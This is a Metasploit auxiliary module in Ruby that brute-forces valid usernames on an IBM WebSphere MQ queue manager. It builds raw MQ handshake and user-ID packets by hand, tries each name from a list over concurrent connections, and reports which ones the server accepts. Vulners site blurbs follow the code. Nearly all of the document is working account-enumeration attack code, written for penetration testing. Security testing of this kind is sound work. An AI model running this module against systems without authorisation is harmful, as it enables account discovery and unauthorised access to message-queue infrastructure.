##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'IBM WebSphere MQ Login Check',
'Description' => 'This module can be used to bruteforce usernames that can be used to connect to a queue manager. The name of a valid server-connection channel without SSL configured is required, as well as a list of usernames to try.',
'Author' => 'Petros Koutroumpis',
'License' => MSF_LICENSE
)
register_options([
Opt::RPORT(1414),
OptInt.new('TIMEOUT', [true, "The socket connect timeout in seconds", 5]),
OptInt.new('CONCURRENCY', [true, "The number of usernames to check concurrently", 10]),
OptString.new('QUEUE_MANAGER', [true, "Queue Manager name to use" ,""]),
OptString.new('CHANNEL', [true, "Channel to use" ,"SYSTEM.ADMIN.SVRCONN"]),
OptString.new('PASSWORD', [false, "Optional password to attempt with login"]),
OptPath.new('USERNAMES_FILE',
[ true, "The file that contains a list of usernames. UserIDs are case insensitive!"]
)])
#deregister_options('THREADS')
end
def run_host(ip)
@usernames = []
if datastore['CHANNEL'].length.to_i > 20
print_error("Channel name cannot be more that 20 characters.")
exit
end
if datastore['QUEUE_MANAGER'].length.to_i > 48
print_error("Queue Manager name cannot be more that 48 characters.")
exit
end
begin
username_list
rescue ::Rex::ConnectionError
rescue ::Exception => e
print_error("#{e} #{e.backtrace}")
end
print_line
if(@usernames.empty?)
print_status("#{ip}:#{rport} No valid users found.")
else
print_good("#{ip}:#{rport} Valid usernames found: #{@usernames}")
report_note(
:host => rhost,
:port => rport,
:type => 'mq.usernames'
)
print_line
end
end
def first_packet(channel,qm_name)
init1 = "\x54\x53\x48\x20" + # StructId
"\x00\x00\x01\x0c" + # MQSegmLen
"\x01" + # ByteOrder
"\x01" + # SegmType
"\x31" + # CtlFlag1
"\x00" + # CtlFlag2
"\x00\x00\x00\x00\x00\x00\x00\x00" +# LUW Ident
"\x00\x00\x01\x11" + # Encoding
"\x04\xb8" + # CCSID
"\x00\x00" + # Reserved
"\x49\x44\x20\x20" + # StructId
"\x0d" + # FAPLevel
"\x26" + # CapFlag1
"\x00" + # ECapFlag1
"\x00" + # InierrFlg1
"\x00\x00" + # ReserveD
"\x00\x00" + # MaxMsgBtch
"\x00\x00\x7f\xec" + # MaxTrSize
"\x06\x40\x00\x00" + # MaxMsgSize
"\x00\x00\x00\x00" + # SeqWrapVal
channel + # Channel Name
"\x51" + # CapFlag2
"\x00" + # ECapFlag2
"\x04\xb8" + # ccsid
qm_name + # Queue Manager Name
"\x00\x00\x00\x01" + # HBInterval
"\x00\x8a" + # EFLLength
"\x00" + # IniErrFlg2
"\x00" + # Reserved1
"\x00\xff" + # HdrCprsLst
"\x00\xff\xff\xff\xff\xff\xff\xff" +# MsgCprsLst1
"\xff\xff\xff\xff\xff\xff\xff\xff" +# MsgCprsLst2
"\x00\x00" + # Reserved2
"\x00\x00\x00\x00" + # SSLKeyRst
"\x00\x00\x00\x0a" + # ConvBySkt
"\x08" + # CapFlag3
"\x00" + # ECapFlag3
"\x00\x00" + # Reserved3
"\x00\x00\x00\x00" + # ProcessId
"\x00\x00\x00\x00" + # ThreadId
"\x00\x00\x00\x1b" + # TraceId
"MQMM09000000" + # ProdId
"MQMID" + "\x20"*43 + # MQM ID
"\x00\x01\x00\x00\xff\xff\xff\xff" +# Unknown1
"\xff\xff\xff\xff\xff\xff\xff\xff" +# Unknown2
"\xff\xff\xff\xff\xf1\x18\xa6\x93" +# Unknown3
"\x2b\x8a\x44\x3c\x67\x53\x73\x08" # Unknown4
end
def second_packet(channel,qm_name)
init2 = "\x54\x53\x48\x4d" + # StructId
"\x00\x00\x00\xf4" + # MQSegmLen
"\x00\x00\x00\x01" + # Convers Id
"\x00\x00\x00\x00" + # Request Id
"\x02" + # ByteOrder
"\x01" + # SegmType
"\x31" + # CtlFlag1
"\x00" + # CtlFlag2
"\x00\x00\x00\x00\x00\x00\x00\x00" +# LUW Ident
"\x11\x01\x00\x00" + # Encoding
"\xb5\x01" + # CCSID
"\x00\x00" + # Reserved
"\x49\x44\x20\x20" + # StructId
"\x0c" + # FAPLevel
"\x26" + # CapFlag1
"\x00" + # ECapFlag1
"\x00" + # IniErrFlg1
"\x00\x00" + # Reserved
"\x00\x00" + # MaxMsgBtch
"\xec\x7f\x00\x00" + # MaxTrSize
"\x00\x00\x40\x00" + # MaxMsgSize
"\x00\x00\x00\x00" + # SeqWrapVal
channel + # Channel Name
"\x51" + # CapFlag2
"\x00" + # ECapFlag2
"\xb5\x01" + # ccsid
qm_name + # Queue Manager Name
"\x2c\x01\x00\x00" + # HBInterval
"\x8a\x00" + # EFLLength
"\x00" + # IniErrFlg2
"\x00" + # Reserved1
"\x00\xff" + # HdrCprsLst
"\x00\xff\xff\xff\xff\xff\xff" + # MsgCprsLst1
"\xff\xff\xff\xff\xff\xff\xff" + # MsgCprsLst2
"\xff\xff" + # MsgCprsLst3
"\x00\x00" + # Reserved2
"\x00\x00\x00\x00" + # SSLKeyRst
"\x0a\x00\x00\x00" + # ConvBySkt
"\x00" + # CapFlag3
"\x00" + # ECapFlag3
"\x00\x00" + # Reserved3
"\x00\x00\x00\x00" + # ProcessId
"\x00\x00\x00\x00" + # ThreadId
"\x1b\x00\x00\x00" + # TraceId
"MQMM09000000" + # ProdId
"MQMID" + "\x20"*43 # MQM ID
end
def send_userid(userid,uname)
if datastore['PASSWORD'].nil?
password = "\x00" * 12
else
password = datastore['PASSWORD']
if (password.length > 12)
print_warning("Passwords greater than 12 characters are unsupported. Truncating...")
password = password[0..12]
end
password = password + ( "\x00" * (12-password.length) )
end
vprint_status("Using password: '#{password}' (Length: #{password.length})")
send_userid = "\x54\x53\x48\x4d" + # StructId
"\x00\x00\x00\xa8" + # MQSegmLen
"\x00\x00\x00\x01" + # Convers ID
"\x00\x00\x00\x00" + # Request ID
"\x02" + # Byte Order
"\x08" + # SegmType
"\x30" + # CtlFlag1
"\x00" + # CtlFlag2
"\x00\x00\x00\x00\x00\x00\x00\x00" +# LUW Ident
"\x11\x01\x00\x00" + # Encoding
"\xb5\x01" + # CCSID
"\x00\x00" + # Reserved
"\x55\x49\x44\x20" + # StructId
userid + # UserId - Doesnt affect anything
password + # Password
uname + # Long UID - This matters!
"\x00" + # SID Len
"\x00" * 39 # Unknown
end
def start_conn(qm_name)
start_conn = "\x54\x53\x48\x4d" + # StructId
"\x00\x00\x01\x38" + # MQSegmLen
"\x00\x00\x00\x01" + # Convers ID
"\x00\x00\x00\x00" + # Request ID
"\x02" + # Byte Order
"\x81" + # SegmType
"\x30" + # CtlFlag1
"\x00" + # CtlFlag2
"\x00\x00\x00\x00\x00\x00\x00\x00" +# LUW Ident
"\x11\x01\x00\x00" + # Encoding
"\xb5\x01" + # CCSID
"\x00\x00" + # Reserved
"\x00\x00\x01\x38" + # Reply Len
"\x00\x00\x00\x00" + # Compl Code
"\x00\x00\x00\x00" + # Reason Code
"\x00\x00\x00\x00" + # Object Hdl
qm_name + # Queue Manager Name
"\x4d\x51\x20\x45\x78\x70\x6c" + # Appl Name
"\x6f\x72\x65\x72\x20\x39\x2e" + # Appl Name
"\x30\x2e\x30\x20\x20\x20\x20" + # Appl Name
"\x20\x20\x20\x20\x20\x20\x20" + # Appl Name
"\x1c\x00\x00\x00" + # ApplType
"\x00" * 32 + # AccntTok
"\x03\x00\x00\x00" + # MQCONNX
"\x00\x00\x00\x00" + # Options
"\x46\x43\x4e\x4f" + # Struct ID
"\x02\x00\x00\x00" + # Version
"\x00\x00\x00\x00" + # Option
"\x4d\x51\x4a\x42\x30\x39\x30" + # msgid
"\x30\x30\x30\x30\x34" + # msgid
"MQM" + "\x20" * 45 + # MqmId
"\x00" * 68 # Unknown
end
def username_list
username_data = get_usernames
while (username_data.length > 0)
t = []
r = []
begin
1.upto(datastore['CONCURRENCY']) do
this_username = username_data.shift
if this_username.nil?
next
end
t << framework.threads.spawn("Module(#{self.refname})-#{rhost}:#{rport}", false, this_username) do |username|
connect
vprint_status "#{rhost}:#{rport} - Sending request for #{username}..."
channel = datastore['CHANNEL']
if channel.length > 20
print_error("Channel name must be less than 20 characters.")
next
end
channel += "\x20" * (20-channel.length.to_i) # max channel name length is 20
qm_name = datastore['QUEUE_MANAGER']
if qm_name.length > 48
print_error("Queue Manager name must be less than 48 characters.")
next
end
qm_name += "\x20" * (48-qm_name.length.to_i) # max queue manager name length is 48
if username.length > 12
print_error("Username must be less than 12 characters.")
next
end
uname = username + "\x20" * (64-username.length.to_i)
userid = username + "\x20" * (12 - username.length.to_i) # this doesnt make a difference
timeout = datastore['TIMEOUT'].to_i
s = connect(false,
{
'RPORT' => rport,
'RHOST' => rhost,
}
)
s.put(first_packet(channel,qm_name))
first_response = s.get_once(-1,timeout)
if first_response[-4..-1] == "\x00\x00\x00\x02" # CHANNEL_WRONG_TYPE code
print_error("Channel needs to be MQI type!")
next
end
s.put(second_packet(channel,qm_name))
second_response = s.get_once(-1,timeout)
s.put(send_userid(userid,uname))
s.put(start_conn(qm_name))
data = s.get_once(-1,timeout)
if data[41..44] == "\x00\x00\x00\x00"
print_status("Found username: #{username}")
@usernames << username
end
disconnect
end
end
t.each {|x| x.join }
end
end
end
def get_usernames
if(! @common)
File.open(datastore['USERNAMES_FILE'], "rb") do |fd|
data = fd.read(fd.stat.size)
@common = data.split(/\n/).compact.uniq
end
end
@common
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation